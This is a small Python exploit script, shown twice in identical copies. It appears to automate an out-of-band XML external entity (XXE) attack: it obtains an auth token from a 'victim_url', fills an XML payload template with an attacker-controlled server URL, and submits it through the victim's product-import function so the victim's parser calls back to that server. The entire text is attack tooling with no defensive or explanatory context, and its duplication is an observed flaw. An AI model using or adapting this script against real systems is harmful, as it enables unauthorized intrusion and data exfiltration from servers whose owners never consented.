import exploit_api
import sys


def get_xxe_with_payload_in_get_query_parameter(our_url):
    with open('products_xxe_with_payload.xml', 'r') as f:
        xml_template = f.read()
        return xml_template.format(our_server_url=our_url)


def import_xml(our_url, victim_url):
    token_header = exploit_api.get_header_with_token(victim_url)
    xml = get_xxe_with_payload_in_get_query_parameter(our_url)
    exploit_api.import_products_by_xml(token_header, xml, victim_url)


our_url = sys.argv[1]
victim_url = sys.argv[2]

import_xml(our_url, victim_url)

import exploit_api
import sys


def get_xxe_with_payload_in_get_query_parameter(our_url):
    with open('products_xxe_with_payload.xml', 'r') as f:
        xml_template = f.read()
        return xml_template.format(our_server_url=our_url)


def import_xml(our_url, victim_url):
    token_header = exploit_api.get_header_with_token(victim_url)
    xml = get_xxe_with_payload_in_get_query_parameter(our_url)
    exploit_api.import_products_by_xml(token_header, xml, victim_url)


our_url = sys.argv[1]
victim_url = sys.argv[2]

import_xml(our_url, victim_url)
